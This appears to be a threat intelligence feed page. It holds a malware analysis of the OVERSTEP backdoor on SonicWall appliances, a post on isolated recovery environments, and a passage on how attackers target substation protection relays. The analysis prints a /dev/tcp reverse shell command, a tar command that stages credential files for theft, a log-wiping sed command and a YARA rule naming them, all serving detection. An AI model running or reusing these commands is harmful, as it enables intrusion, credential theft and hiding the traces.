OVERSTEP is a backdoor written in C, designed for SonicWall SMA 100 series appliances; observed samples have been compiled as a 32-bit ELF shared object for the Intel x86 architecture. This shared object is designed to be loaded into processes via the /etc/ld.so.preload file. When preloaded in this manner, the malicious library is mapped into the address space of subsequently launched processes. This preloading enables the malware to hijack standard library functions—specifically open, open64, readdir, readdir64, and write—by ensuring these symbols are resolved from the malicious shared object before the legitimate system libraries. The backdoor's primary functionalities are to establish a reverse shell and exfiltrate passwords from the compromised host. Additionally, the malware implements usermode rootkit capabilities by leveraging its hooked file system-related functions (open, open64, readdir, readdir64) to effectively hide its components on the host. Communications with the command-and-control (C2 or C&C) server are indirect, relying on parsing commands from buffers intercepted by the malicious write API.

The path to the malicious shared object was added to the /etc/ld.so.preload file, which effectively ensures the malware will persist on the compromised appliance. Due to its inclusion in the /etc/ld.so.preload file, the malware's shared object is mapped into every new process executed on the compromised system. Upon being mapped, the malware gains execution through its initialization routine, specifically via its exported my_init function. This my_init function then sets the FS_IMMUTABLE_FL flag on /etc/ld.so.preload, effectively preventing its modification, deletion, renaming, or the creation of links to it. This preloading mechanism enables the malware to perform LD_PRELOAD hijacking, interposing its own versions of the following standard library functions: open, open64, readdir, readdir64, and write. The hijacked open* and readdir* APIs are leveraged to implement a usermode rootkit, concealing the malware's presence and components. The core backdoor functionality, conversely, is implemented within the hooked write function. The rootkit and backdoor functionalities are described in greater detail in the subsequent sections.

Usermode Rootkit

The hijacked open and open64 API functions, which typically specify a file path and access mode, are manipulated by the malware. The malware's implementation of these functions checks if the requested file path is /etc/ld.so.preload. If a match occurs, it returns an error code, thereby preventing any process on the compromised system from opening this critical file.

The hijacked readdir and readdir64 API functions are used to conceal the following artifacts from directory listings:

/proc entries related to bash, sh, or ssh
libsamba-errors.so.6 (the filename of the malware observed on this particular system)
/etc/ld.so.preload

Backdoor

The backdoor's command execution mechanism is centered on its hijacked write API function. The standard write API receives a buffer containing data destined for an I/O stream. In this implementation, the malicious write function examines the first 1024 bytes of this buffer, searching for the command strings dobackshell or dopasswords. If either string is detected, the malware expects to find associated command parameters immediately following it.

dobackshell
- Starts a reverse shell using the command bash -i >& /dev/tcp/<ip>/<port> 0>&1 &.
- Parameters: IP address and port.
dopasswords
- Creates a TAR archive with the provided <filename>, bundling sensitive files using the command in Figure 3. Notably, the TAR archive is saved in the web-accessible directory /usr/src/EasyAccess/www/htdocs with permissive 777 permissions. This allows an attacker to download the archive via a web browser.
- Parameters: Filename of the TAR archive.

tar czfP /usr/src/EasyAccess/www/htdocs/<filename>.tgz /tmp/temp.db /etc/EasyAccess/var/conf/persist.db /etc/EasyAccess/var/cert; chmod 777 /usr/src/EasyAccess/www/htdocs/<filename>.tgz

Figure 3: Shell commands executed by the dopasswords OVERSTEP command

Following the parsing and execution of a command, the malware attempts to remove corresponding entries from affected log files. This cleanup is performed using the sed command: sed -i '/<cmd>/d' /var/log/<log_file>, where <cmd> is either dobackshell or dopasswords. The targeted <log_file> can be httpd.log, http_request.log, or inotify.log. This log cleaning process is only initiated if the malware can successfully elevate its privileges by setting its UID and GID to 0.

Receiving Commands

The malware was designed to receive commands embedded within web requests. For instance, a legitimate httpd server might receive a URL (e.g., https://<compromised_server>/query?q=dobackshell<params>) containing the command and its parameters. The server would then attempt to log this request to files such as httpd.log, http_request.log, or inotify.log. At this juncture, because the malicious shared object is preloaded into the httpd process's address space, the call to write is intercepted. The malicious write function then parses the log data and dispatches any recognized command. While, technically, write operations from any process could be used to deliver commands, this web server log vector is likely the intended and most practical method from an attacker's perspective.

Risk and Post-Compromise Activities

In our investigations, GTIG observed beaconing traffic from compromised appliances, but we did not identify notable post-compromise activities. The actor's success in hiding their tracks is largely due to OVERSTEP's capability to selectively delete log entries from httpd.log, http_request.log, and inotify.log. This anti-forensic measure, combined with a lack of shell history on disk, significantly reduces visibility into the actor's secondary objectives.

The primary risk stems from OVERSTEP's functionality to steal sensitive files. Its ability to exfiltrate the persist.db database and certificate files from the /etc/EasyAccess/var/cert directory gives the attacker credentials, OTP seeds, and certificates. While we did not directly observe the weaponization of this stolen data, it creates a clear path for persistent access.

Impacted organizations should rotate all secrets stored on the appliances and follow the recommendations in this article.

Wider Context and Campaigns

This campaign extends beyond the incidents GTIG directly investigated. We have identified targeting of other SonicWall SMA appliances by UNC6148, including possible scanning activity dating back to at least October 2024. Our findings are also supported by SonicWall, which has confirmed reports of other impacted organizations and subsequently updated its advisory for CVE-2024-38475 to recommend OTP seed rotation.

While GTIG has not directly observed monetization or other end-stage goals associated with this campaign, analysis of historical network telemetry data revealed traffic involving an SMA 100 series appliance in May 2025 affiliated with an organization that later appeared on the "World Leaks" DLS in June 2025; however, we cannot rule out coincidental overlap at this time.

Additionally, UNC6148 activity has noteworthy overlaps with historical analysis from Truesec and dfir.ch, which involved the deployment of Abyss-branded ransomware. These overlaps, which suggest that UNC6148 is the same actor or a related one, further indicate that these intrusions could ultimately lead to data extortion and ransomware deployment.

The OVERSTEP backdoor and deployment mechanism observed by Mandiant appears to be a direct evolution of the wafxSummary tool reported by Truesec in late 2023.
A dfir.ch blog post from early 2024 describes an intrusion where nearly a year went by between the deployment of the wafxSummary tool Truesec wrote about, and the deployment of Abyss-branded ransomware. This is consistent with the 6-month+ time gap between initial UNC6148 activity and the deployment of OVERSTEP in our recent investigation.

Recommendations

GTIG recommends that all organizations with SMA appliances perform analysis to determine if they have been compromised. Organizations should acquire disk images for forensic analysis to avoid interference from the rootkit anti-forensic capabilities. Organizations may need to engage with SonicWall to capture disk images from physical appliances.

Hunting and Detection

Defenders should analyze disk images and peripheral log sources for the following signs of compromise:

File System Artifacts

Presence of any indicators of compromise (IOCs) listed in this report.
Unexpected binaries within the persistent /cf directory or within INITRD files, especially in the /usr/lib directory. In our investigations, GTIG observed OVERSTEP residing in these directories.
Presence of the file /etc/ld.so.preload on a disk image. This file should not exist on a standard SMA appliance, and the rootkit will hide it from a live system.
Malicious modifications to RC scripts, most notably the /etc/rc.d/rc.fwboot script.
Files with irregular timestamps within the INITRD image (/cf/firmware/).

Log and Network Analysis

Web requests to the appliance containing dobackshell or dopasswords in the URL query.
Appliance event logs showing VPN sessions from external IP addresses (especially from low-reputation networks like BLNWX) using administrator accounts.
Outbound HTTP network traffic from the appliance to external IP addresses.
Log entries for Current settings exported, Current settings imported, or Clear all logs manually occurring outside of scheduled maintenance windows.
Irregular activity or threats within other log files from the appliances, including from inside the FLASH.DAT files (current and backup).
Evidence of lateral movement, primarily over Secure Shell (SSH), from the SMA appliance to other systems in the environment.

Containment and Eradication

If evidence of compromise is detected, organizations should take immediate steps to contain the threat.

Isolate the affected appliance from the network to prevent further malicious activity.
Preserve disk images and telemetry for a full forensic investigation.
Because the full extent of an actor's activity can be difficult to determine, GTIG recommends engaging Mandiant Incident Response for a thorough investigation to ensure complete scoping and eradication.

Hardening and Mitigation

To mitigate the immediate threat and harden appliances against future attacks, organizations should:

Reset all credentials, including passwords and OTP bindings for all local and directory users on the appliance. This is the most critical step to invalidate secrets stolen in previous compromises.
Revoke and reissue any certificates with private keys stored on the appliance.

Indicators of Compromise (IOCs) Host-Based IOCs

Path(s)

SHA256 Hash

Description

/cf/xxx.elf/cf/libsamba-errors.so.6/usr/lib/libsamba-errors.so.6

b28d57269fe4cd90d1650bde5e905611
6de26d211966262e59359d0e2a67d473

OVERSTEP

/etc/rc.d/rc.fwboot

f0e0db06ca665907770e2202957d3ecc
d5a070acac1debaf0889d0d48c10e149

Modified legitimate boot RC file

Network-Based IOCs

Indicator

Description

193.149.180.50

Source of VPN sessions where compromise occurred (used by UNC6148 between at least May 2025 and June 2025)

64.52.80.80

Reverse shell IP (used by UNC6148 between at least February 2025 and June 2025)

193.149.176.230

Identified by SonicWall as triggering the OVERSTEP backdoor in July 2025

Detections YARA Rule rule G_Backdoor_OVERSTEP_1 { meta: author = "Google Threat Intelligence Group" date_created = "2025-06-03" date_modified = "2025-06-03" rev = 1 strings: $s1 = "dobackshell" $s2 = "dopasswords" $s3 = "bash -i >& /dev/tcp/%s 0>&1 &" $s4 = "tar czfP /usr/src/EasyAccess/www/htdocs/%s.tgz /tmp/temp.db /etc/EasyAccess/var/conf/persist.db /etc/EasyAccess/var/cert; chmod 777" $s5 = "/etc/ld.so.preload" $s6 = "libsamba-errors.so.6" condition: uint32(0) == 0x464c457f and filesize < 2MB and 4 of them }

Mandiant

Isolated Recovery Environments: A Critical Layer in Modern Cyber Resilience

Mandiant Threat Intelligence

1 month 2 weeks ago

Written by: Jaysn Rye

Executive Summary

As adversaries grow faster, stealthier, and more destructive, traditional recovery strategies are increasingly insufficient. Mandiant's M-Trends 2025 report reinforces this shift, highlighting that ransomware operators now routinely target not just production systems but also backups. This evolution demands that organizations re-evaluate their resilience posture. One approach gaining traction is the implementation of an isolated recovery environment (IRE)—a secure, logically separated environment built to enable reliable recovery even when an organization's primary network has been compromised.

This blog post outlines why IREs matter, how they differ from conventional disaster recovery strategies, and what practical steps enterprises can take to implement them effectively.

The Backup Blind Spot

Most organizations assume that regular backups equal resilience; however, that assumption doesn't hold up against today's threat landscape. Ransomware actors and state-sponsored adversaries are increasingly targeting backup infrastructure directly, encrypting, deleting, or corrupting it to prevent recovery and increase leverage.

The M-Trends 2025 report reveals that in nearly half of ransomware intrusions, adversaries used legitimate remote management tools to disable security controls and gain persistence. In these scenarios, the compromise often extends to backup systems, especially those accessible from the main domain.

Figure 1: Observed tools in 2024 ransomware-related investigations (source: M-Trends 2025)

In short: your backup isn't safe if it's reachable from your production network. During an active incident, that makes it irrelevant.

What Is an Isolated Recovery Environment?

An isolated recovery environment (IRE) is a secure enclave designed to store immutable copies of backups and provide a secure space to validate restored workloads and rebuild in parallel while incident responders carry out the forensic investigation. Unlike traditional disaster recovery solutions, which often rely on replication between live environments, an IRE is logically and physically separated from production.

At its core, an IRE is about assuming a breach has occurred and planning for the moment when your primary environment is lost, ensuring you have a clean fallback that hasn't been touched by the adversary.

Key Characteristics of an IRE

Separation of infrastructure and access: The IRE must be isolated from the corporate environment. No shared authentication, no shared tooling, no shared infrastructure or services, no persistent network links or direct TCP/IP connections between the production environment and the IRE.
Restricted administrative workflows: Day-to-day access is disallowed. Only break-glass, documented processes exist for access during validation or recovery.
Known-good, validated artifacts: Data entering the IRE must be scanned, verified, and stored with cryptographic integrity checks all while maintaining the isolation controls.
Validation environment and tools: The IRE must also include a secured network environment, which can be used by security teams to validate restored workloads and remove any identified attacker remnants.
Recovery-ready templates: Rather than restoring single machines, the IRE should support the rapid rebuild of critical systems in isolation with predefined procedures.

Implementation Strategy

Successfully implementing an IRE is not a checkbox exercise. It requires coordination between security, infrastructure, identity management, and business continuity teams. The following breaks down the major building blocks and considerations.

Infrastructure Segmentation and Physical Isolation

The foundational principle behind an IRE is separation. The environment must not share any critical infrastructure, identity, network, hypervisors, storage, or other services with the production environment. In most cases, this means:

Dedicated platforms (on-premises or cloud based) and tightly controlled virtualization platforms
No routable paths from production to the IRE network
Physical air-gaps or highly restricted one-way replication mechanisms
Independent DNS, DHCP, and identity services

Figure 2 illustrates the permitted flows into and within the IRE.

Figure 2: Typical IRE architecture

Identity and Access Control

Identity is the primary attack vector in many intrusions. An IRE must establish its own identity plane:

No trust relationships to production Active Directory
No shared local or domain accounts
All administrative access must require phishing resistant multi-factor authentication (MFA)
All administrative access should be via hardened Privileged Access Workstations (PAW) from within the IRE
Where possible, implement just-in-time (JIT) access with full audit logging

Accounts used to manage the IRE should not have any ties to the production environment; this includes being used from a device belonging to the production domain. These accounts must be used from a dedicated PAW.

Secure Administration Flows

Administrative access is often the weak link that attackers exploit. That's why an IRE must be designed with tight control over how it's managed, especially during a crisis.

In the following model, all administrative access is performed from a dedicated PAW. This workstation sits inside an isolated management zone and is the only system permitted to access the IRE's core components.

Here's how it works:

No production systems, including IT admin workstations, are allowed to directly reach the IRE. These paths are completely blocked.
The PAW manages the IRE's:

Isolated Data Vault, where validated backups are stored.
Management Plane, which includes IRE services such as Active Directory, DNS, PAM, backup, and recovery systems.
Green VLAN, which hosts rebuilt Tier-0 and Tier-1 infrastructure.

Any restored services go first into a yellow staging VLAN, a controlled quarantine zone with no east-west traffic. Systems must be verified clean before moving into the production-ready green VLAN. Remote access to machines in the yellow VLAN is restricted to console only access (hypervisor or iLO consoles) from the PAW. No direct RDP/SSH is permitted.

This design ensures that even during a compromise of the production environment, attackers can't pivot into the recovery environment. All privileged actions are audited, isolated, and console-restricted, giving defenders a clean space to rebuild from.

Figure 3: Permitted administration paths

One-Way Replication and Immutable Storage

How data enters the IRE is just as important as how it's managed. Backups that are copied into the data transfer zone must be treated as potentially hostile until proven otherwise.

To mitigate risk:

Data must flow in only one direction, from production to IRE, never the other way around.*
This is typically achieved using data diodes or time-gated software replication that enforces unidirectional movement and session expiry.
Ingested data lands in a staging zone where it undergoes:

Hash verification against expected values.
Malware scanning, using both signature and behavioural analysis.
Cross-checks against known-good backup baselines (e.g., file structure, size, time delta).

Once validated, data is committed to immutable storage, often in the form of Write Once, Read Many (WORM) volumes or cloud object storage with compliance-mode object locking. Keys for encryption and retention are not shared with production and must be managed via an isolated KMS or HSM.

The goal is to ensure that even if an attacker compromises your primary backup system, they cannot alter or delete what's been stored in the IRE.

*Depending on overall recovery strategies, it's possible that restored workloads may need to move from the IRE back to a rebuilt production environment.

Recovery Workflows and Drills

An IRE is only useful if it enables recovery under pressure. That means planning and testing full restoration of core services. Effective IRE implementations include:

Templates for rebuilding domain controllers, authentication services, and core applications
Automated provisioning of VMs or containers within the IRE
Access to disaster recovery runbooks that can be followed by incident responders
Scheduled tabletop and full-scale recovery exercises (e.g., quarterly or bi-annually)

Many organizations discover during their first exercise that their documentation is out of date or their backups are incomplete. Recovery drills allow these issues to surface before a real incident forces them into view.

Hash Chaining and Log Integrity

If you're relying on the IRE for forensic investigation as well as recovery, it's essential to ensure the integrity of system logs and metadata. This is where hash chaining becomes important.

Implement hash chaining on logs stored in the IRE to detect tampering.
Apply digital signatures from trusted, offline keys.
Regularly verify the chain against trusted checkpoints.

This ensures that during an incident, you can prove not only what happened but also that your evidence hasn't been modified, either by an attacker or by accident.

Choosing the Right IRE Deployment Model

The right model depends on your environment, compliance obligations, and team maturity.

Model

Advantages

Challenges

On-Premises

Full control, better for air-gapped environments

Higher CapEx, longer provisioning time, less flexibility

Cloud

Faster provisioning, built-in automation, easier to test

Requires strong cloud security maturity and IAM separation

Hybrid

Local speed + cloud resilience; ideal for large orgs with critical workloads

More complex design; requires secure identity split and replication paths

Common Pitfalls

Over-engineering for normal operations: The IRE is not a sandbox. Avoid mission creep.
Using the IRE beyond cyber recovery: The IRE is not for DR testing, HA, or daily operations. Any non-incident use risks breaking its isolation and trust model.
Assuming cloud equals isolation: Isolation requires deliberate configuration. Cloud tenancy is not enough.
Neglecting insider threats: The IRE must defend against sabotage from inside the organization, not just ransomware.

Closing Thoughts

As attackers accelerate and the blast radius of intrusions expands, the need for trusted, tamper-proof recovery options becomes clear. An isolated recovery environment is not just a backup strategy, it is a resilience strategy.

It assumes breach. It accepts that visibility may be lost during a crisis. And it gives defenders a place to regroup, investigate, and rebuild.

The Mandiant M-Trends 2025 report makes it clear; the cost of ransomware isn't just in ransom paid, but in days or weeks of downtime, regulatory penalties, and reputation loss. The cost of building an IRE is less than a breach, and the peace of mind it offers is far greater.

For deeper technical guidance on building secure recovery workflows or assessing your current recovery posture, Mandiant Consulting offers strategic workshops and assessment services.

Acknowledgment

A special thanks to Glenn Staniforth for their contributions.

Mandiant

Protecting the Core: Securing Protection Relays in Modern Substations

Mandiant Threat Intelligence

1 month 3 weeks ago

Written by: Seemant Bisht, Chris Sistrunk, Shishir Gupta, Anthony Candarini, Glen Chason, Camille Felx Leduc

Introduction — Why Securing Protection Relays Matters More Than Ever

Substations are critical nexus points in the power grid, transforming high-voltage electricity to ensure its safe and efficient delivery from power plants to millions of end-users. At the core of a modern substation lies the protection relay: an intelligent electronic device (IED) that plays a critical role in maintaining the stability of the power grid by continuously monitoring voltage, current, frequency, and phase angle. Upon detecting a fault, it instantly isolates the affected zone by tripping circuit breakers, thus preventing equipment damage, fire hazards, and cascading power outages.

As substations become more digitized, incorporating IEC 61850, Ethernet, USB, and remote interfaces, relays are no longer isolated devices, but networked elements in a broader SCADA network. While this enhances visibility and control, it also exposes relays to digital manipulation and cyber threats. If compromised, a relay can be used to issue false trip commands, alter breaker logic, and disable fault zones. Attackers can stealthily modify vendor-specific logic, embed persistent changes, and even erase logs to avoid detection. A coordinated attack against multiple critical relays can lead to a cascading failure across the grid, potentially causing a large-scale blackout.

This threat is not theoretical. State-sponsored adversaries have repeatedly demonstrated their capability to cause widespread blackouts, as seen in the INDUSTROYER (2016), INDUSTROYER.V2 (2022), and novel living-off-the-land technique (2022) attacks in Ukraine, where they issued unauthorized commands over standard grid protocols. The attack surface extends beyond operational protocols to the very tools engineers rely on; as Claroty's Team82 revealed a denial-of-service vulnerability in Siemens DIGSI 4 configuration software. Furthermore, the discovery of malware toolkits like INCONTROLLER shows attackers are developing specialized capabilities to map, manipulate, and disable protection schemes across multiple vendors.

Recent events have further underscored the reality of these threats, with the U.S. government warning of heightened risks of Iranian cyberattacks targeting vital networks in the wake of geopolitical tensions. Iran-nexus threat actors such as UNC5691 (aka CyberAv3ngers) have a history of targeting operational technology, in some cases including U.S. water facilities. Similarly, persistent threats from China, such as UNC5135, which at least partially overlaps with publicly reported Volt Typhoon activity, demonstrate a strategic effort to embed within U.S. critical infrastructure for potential future disruptive or destructive cyberattacks. The tactics of these adversaries, which range from exploiting weak credentials to manipulating the very logic of protection devices, make the security of protection relays a paramount concern.

These public incidents mirror the findings from our own Operational Technology (OT) Red Team simulations, which consistently reveal accessible remote pathways into local substation networks and underscore the potential for adversaries to manipulate protection relays within national power grids.

Protection relays are high-value devices, and prime targets for cyber-physical attacks targeting substation automation systems and grid management systems. Securing protection relays is no longer just a best practice; it's absolutely essential for ensuring the resilience of both transmission and distribution power grids.

Inside a Substation — Components and Connectivity

To fully grasp the role of protection relays within the substation, it's important to understand the broader ecosystem they operate in. Modern substations are no longer purely electrical domains. They are cyber-physical environments where IEDs, deterministic networking, and real-time data exchange work in concert to deliver grid reliability, protection, and control.

Core Components

Protection & Control Relays (IEDs): Devices such as the SEL-451, Hitachi REL670, GE D60, and Siemens 7SJ85 serve as the brains of both protection and control. They monitor current, voltage, frequency, and phase angle, and execute protection schemes like:

Overcurrent (ANSI 50/51)
Distance protection (ANSI 21)
Differential protection (ANSI 87)
Under/over-frequency (ANSI 81)
Synch-check (ANSI 25)
Auto-reclose (ANSI 79)
Breaker failure protection (ANSI 50BF)
Logic-based automation and lockout (e.g., ANSI 94)

(Note: These ANSI function numbers follow the IEEE Standard C37.2 and are universally used across vendors to denote protective functions.)

Circuit Breakers & Disconnectors: High-voltage switching devices operated by relays to interrupt fault current or reconfigure line sections. Disconnectors provide mechanical isolation and are often interlocked with breaker status to prevent unsafe operation.
Current Transformers (CTs) & Potential Transformers (PTs): Instrument transformers that step down high voltage and current for safe and precise measurement. These form the primary sensing inputs for protection and metering functions.
Station Human-Machine Interfaces (HMIs): Provide local visualization and control for operators. HMIs typically connect to relay networks via the station bus, offering override, acknowledgment, and command functions without needing SCADA intervention.
Remote Terminal Units (RTUs) or Gateway Devices: In legacy or hybrid substations, RTUs aggregate telemetry from field devices and forward it to control centers. In fully digital substations, this function may be handled by SCADA gateways or station-level IEDs that natively support IEC 61850 or legacy protocol bridging.
Time Synchronization Devices: GPS clocks or PTP servers are deployed to maintain time alignment across relays, sampled value streams, and event logs. This is essential for fault location, waveform analysis, and sequence of events (SoE) correlation.

Network Architecture

Modern digital substations are engineered with highly segmented network architectures to ensure deterministic protection, resilient automation, and secure remote access. These systems rely on fiber-based Ethernet communication and time-synchronized messaging to connect physical devices, intelligent electronics, SCADA systems, and engineering tools across three foundational layers.

Figure 1: Substation Network Architecture

Network Topologies: Substations employ redundant Ethernet designs to achieve high availability and zero-packet-loss communication, especially for protection-critical traffic.

Common topologies include:

RSTP (Rapid Spanning Tree Protocol) – Basic redundancy by blocking loops in switched networks
PRP (Parallel Redundancy Protocol) – Simultaneous frame delivery over two independent paths
HSR (High-availability Seamless Redundancy) – Ring-based protocol that allows seamless failover for protection traffic

Communication Layers: Zones and Roles

Modern substations are structured into distinct functional network layers, each responsible for different operations, timing profiles, and security domains. Understanding this layered architecture is critical to both operational design and cyber risk modeling.

Process Bus / Bay Level Communication
- This is the most time-sensitive layer in the substation. It handles deterministic, peer-to-peer communication between IEDs (Intelligent Electronic Devices), Merging Units (MUs), and digital I/O modules that directly interact with primary field equipment.
  - Includes:
    - Protection and Control IEDs - Relay logic for fault detection and breaker actuation
    - MUs - Convert CT/PT analog inputs into digitized Sampled Values (SV)
    - IED I/O Modules - Digitally interface with trip coils and status contacts on breakers
    - Circuit Breakers, CTs, and PTs - Primary electrical equipment connected through MUs and I/O
    - Master clock or time source - Ensures time-aligned SV and event data using PTP (IEEE 1588) or IRIG-B
    - Protocols:
      - IEC 61850-8-1 (GOOSE) - Protection logic, trip/block signaling
      - IEC 61850-9-2 (SV) - Real-time sampled analog measurements
      - Time Sync (PTP/IRIG-B) - Sub-millisecond alignment across protection systems
Station Bus / Substation Automation LAN (Supervisory and Control Layer)
- The Station Bus connects IEDs, local operator systems, SCADA gateways, and the Substation Automation System (SAS). It is responsible for coordination, data aggregation, event recording, and forwarding data to control centers.
  - Includes:
    - SAS - Central event and logic manager
    - HMIs - Local operator access
    - Engineering Workstation (EWS) - Access point for authorized relay configuration and diagnostics
    - RTUs / SCADA Gateways - Bridge to EMS/SCADA networks
    - Managed Ethernet Switches (PRP/HSR) - Provide reliable communication paths
  - Protocols:
    - MMS (IEC 61850-8-1) - Relay supervision, config edits, event reporting, time sync
    - IEC 60870-5-104 / DNP3 - Upstream telemetry to control center
    - Modbus (legacy) - Field device communication
    - SNMP (secured) - Network health monitoring
  - Engineering Access (Role-Based, Cross-Layer): Engineering access is not a stand-alone communication layer but a privileged access path used by protection engineers and field technicians to perform maintenance, configuration, and diagnostics.
    - Access Components:
      - EWS - Direct relay interface via MMS or console
      - Jump Servers / VPNs - Controlled access to remote or critical segments
      - Terminal/ Serial Consoles - Used for maintenance and troubleshooting purposes

What Protection Relays Really Do

In modern digital substations, protection relays—more accurately referred to as IEDs—have evolved far beyond basic trip-and-alarm functions. These devices now serve as cyber-physical control points, responsible not only for detecting faults in real time but also for executing programmable logic, recording event data, and acting as communication intermediaries between digital and legacy systems.

At their core, IEDs monitor electrical parameters, such as voltage, current, frequency, and phase angle, and respond to conditions like overcurrent, ground faults, and frequency deviations. Upon fault detection, they issue trip commands to circuit breakers—typically within one power cycle (e.g., 4–20 ms)—to safely isolate the affected zone and prevent equipment damage or cascading outages.

Beyond traditional protection: Modern IEDs provide a rich set of capabilities that make them indispensable in fully digitized substations.
- Trip Logic Processing: Integrated logic engines (e.g., SELogic, FlexLogic, CFC) evaluate multiple real-time conditions to determine if, when, and how to trip, block, or permit operations.
- Event Recording and Fault Forensics: Devices maintain Sequence of Events (SER) logs and capture high-resolution oscillography (waveform data), supporting post-event diagnostics and root-cause analysis.
- Local Automation Capabilities: IEDs can autonomously execute transfer schemes, reclose sequences, interlocking, and alarm signaling often without intervention from SCADA or a centralized controller.
- Protocol Bridging and Communication Integration: Most modern relays support and translate between multiple protocols, including IEC 61850, DNP3, Modbus, and IEC 60870-5-104, enabling them to function as data gateways or edge translators in hybrid communication environments.
Application across the grid: These devices ensure rapid fault isolation, coordinated protection, and reliable operation across transmission, distribution, and industrial networks.
- Transmission and distribution lines (e.g., SIPROTEC)
- Power Transformers (e.g., ABB RET615)
- Feeders, Motors and industrial loads (e.g., GE D60)

How Attackers Can Recon and Target Protection Relays

As substations evolve into digital control hubs, their critical components, particularly protection relays, are no longer isolated devices. These IEDs are now network-connected through Ethernet, serial-to-IP converters, USB interfaces, and in rare cases, tightly controlled wireless links used for diagnostics or field tools.

While this connectivity improves maintainability, remote engineering access, and real-time visibility, it also expands the cyberattack surface exposing relays to risks of unauthorized logic modification, protocol exploitation, or lateral movement from compromised engineering assets.

Reconnaissance From the Internet

Attackers often begin with open-source intelligence (OSINT), building a map of the organization's digital and operational footprint. They aren't initially looking for IEDs or substations; they're identifying the humans who manage them.

Social Recon: Using LinkedIn, engineering forums, or vendor webinars, attackers look for job titles like "Substation Automation Engineer," "Relay Protection Specialist," or "SCADA Administrator."
OSINT Targeting: Public resumes and RFI documents may reference software like DIGSI, PCM600, or AcSELerator. Even PDF metadata from utility engineering documents can reveal usernames, workstation names, or VPN domains.
Infrastructure Scanning: Tools like Shodan or Censys help identify exposed VPNs, engineering portals, and remote access gateways. If these systems support weak authentication or use outdated firmware, they become initial entry points.
Exploitation of Weak Vendor Access: Many utilities still use stand-alone VPN credentials for contractors and OEM vendors. These accounts often bypass centralized identity systems, lack 2FA, and are reused across projects.

Reconnaissance in IT — Mapping the Path to OT

Once an attacker gains a foothold within the IT network—typically through phishing, credential theft, or exploiting externally exposed services—their next objective shifts toward internal reconnaissance. The target is not just domain dominance, but lateral movement toward OT-connected assets such as substations or Energy Management Systems (EMS).

Domain Enumeration: Using tools like BloodHound, attackers map Active Directory for accounts, shares, and systems tagged with OT context (e.g., usernames like scada_substation_admin, and groups like scada_project and scada_communication).

This phase allows the attacker to pinpoint high-value users and their associated devices, building a shortlist of engineering staff, contractors, or control center personnel who likely interface with OT assets.

Workstation & Server Access: Armed with domain privileges and OT-centric intelligence, the attacker pivots to target the workstations or terminal servers used by the identified engineers. These endpoints are rich in substation-relevant data, such as:
- Relay configuration files (.cfg, .prj, .set)
- VPN credentials or profiles for IDMZ access
- Passwords embedded in automation scripts or connection managers
- Access logs or RDP histories indicating commonly used jump hosts

At this stage, the attacker is no longer scanning blindly; they're executing highly contextual moves to identify paths from IT into OT.

IDMZ Penetration — Crossing the Last Boundary

Using gathered VPN credentials, hard-coded SSH keys, or jump host details, the attacker attempts to cross into the DMZ. This zone typically mediates communication between IT and OT, and may be accessed via:

Engineering jump hosts (dual-homed systems, often less monitored)
Poorly segmented RDP gateways with reused credentials
Exposed management ports on firewalls or remote access servers

Once in the IDMZ, attackers map accessible subnets and identify potential pathways into live substations.

Substation Discovery and Technical Enumeration

Once an attacker successfully pivots into the substation network often via compromised VPN credentials, engineering jump hosts, or dual-homed assets bridging corporate and OT domains—the next step is to quietly enumerate the substation landscape. At this point, they are no longer scanning broadly but conducting targeted reconnaissance to identify and isolate high-value assets, particularly protection relays.

Rather than using noisy tools like nmap with full port sweeps, attackers rely on stealthier techniques tailored for industrial networks. These include passive traffic sniffing and protocol-specific probing to avoid triggering intrusion detection systems or log correlation engines. For example, using custom Python or Scapy scripts, the attacker might issue minimal handshake packets for protocols such as IEC 61850 MMS, DNP3, or Modbus, observing how devices respond to crafted requests. This helps fingerprint device types and capabilities without sending bulk probes.

Simultaneously, MAC address analysis plays a crucial role in identifying vendors. Many industrial devices use identifiable prefixes unique to specific power control system manufacturers. Attackers often leverage this to differentiate protection relays from HMIs, RTUs, or gateways with a high degree of accuracy.

Additionally, by observing mirrored traffic on span ports or through passive sniffing on switch trunks, attackers can detect GOOSE messages, Sampled Values (SV), or heartbeat signals indicative of live relay communication. These traffic patterns confirm the presence of active IEDs, and in some cases, help infer the device's operational role or logical zone.

Once relays, protocol gateways, and engineering HMIs have been identified, the attacker begins deeper technical enumeration. At this stage, they analyze which services are exposed on each device such as Telnet, HTTP, FTP or MMS, and gather banner information or port responses that reveal firmware versions, relay models or serial numbers. Devices with weak authentication or legacy configurations are prioritized for exploitation.

The attacker may next attempt to log in using factory-set or default credentials, which are often easily obtainable from device manuals. Alarmingly, these credentials are often still active in many substations due to lax commissioning processes. If login is successful, the attacker escalates from passive enumeration to active control—gaining the ability to view or modify protection settings, trip logic, and relay event logs.

If the relays are hardened with proper credentials or access controls, attackers might try other methods, such as accessing rear-panel serial ports via local connections or probing serial-over-IP bridges linked to terminal servers. Some adversaries have even used vendor software (e.g., DIGSI, AcSELerator, PCM600) found on compromised engineering workstations to open relay configuration projects, review programmable logic (e.g., SELogic or FlexLogic), and make changes through trusted interfaces.

Another critical risk in substation environments is the presence of undocumented or hidden device functionality. As highlighted in CISA advisory ICSA-24-095-02, SEL 700-series protection relays were found to contain undocumented capabilities accessible to privileged users.

Separately, some relays may expose backdoor Telnet access through hard-coded or vendor diagnostic accounts. These interfaces are often enabled by default and left undocumented, giving attackers an opportunity to inject firmware, wipe configurations, or issue commands that can directly trip or disable breakers.

By the end of this quiet but highly effective reconnaissance phase, the attacker has mapped out the protection relay landscape, assessed device exposure, and identified access paths. They now shift from understanding the network to understanding what each relay actually controls, entering the next phase: process-aware enumeration.

Process-Aware Enumeration

Once attackers have quietly mapped out the substation network (identifying protection relays, protocol gateways, engineering HMIs, and confirming which devices expose insecure services) their focus shifts from surface-level reconnaissance to gaining operational context. Discovery alone isn't enough. For any compromise to deliver strategic impact, adversaries must understand how these devices interact with the physical power system.

This is where process-aware enumeration begins. The attacker is no longer interested in just controlling any relay they want to control the right relay. That means understanding what each device protects, how it's wired into the breaker scheme, and what its role is within the substation topology.

Armed with access to engineering workstations or backup file shares, the attacker reviews substation single-line diagrams (SLDs), often from SCADA HMI screens or documentation from project folders. These diagrams reveal the electrical architecture—transformers, feeders, busbars—and show exactly where each relay fits. Identifiers like "BUS-TIE PROT" or "LINE A1 RELAY" are matched against configuration files to determine their protection zone.

By correlating relay names with breaker control logic and protection settings, the attacker maps out zone hierarchies: primary and backup relays, redundancy groups, and dependencies between devices. They identify which relays are linked to auto-reclose logic, which ones have synch-check interlocks, and which outputs are shared across multiple feeders.

